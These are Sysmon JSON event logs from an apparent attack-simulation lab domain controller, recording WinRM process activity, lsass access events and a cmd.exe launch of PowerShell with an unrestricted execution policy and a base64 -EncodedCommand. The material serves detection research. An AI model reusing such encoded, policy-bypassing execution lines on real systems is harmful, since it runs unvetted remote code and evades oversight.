11:56:14.133\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 1988\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105C580700}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.133","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"1988","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00105C580700}","TargetProcessId":"4180","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.165","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.177\r\nProcessGuid: {90617006-415E-5F2D-0000-00105A5B0700}\r\nProcessId: 4376\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-415E-5F2D-0000-00105C580700}\r\nParentProcessId: 4180\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.177","ProcessGuid":"{90617006-415E-5F2D-0000-00105A5B0700}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-415E-5F2D-0000-00105C580700}","ParentProcessId":"4180","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.165\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-00105C580700}\r\nSourceProcessId: 4180\r\nSourceThreadId: 3144\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00105A5B0700}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 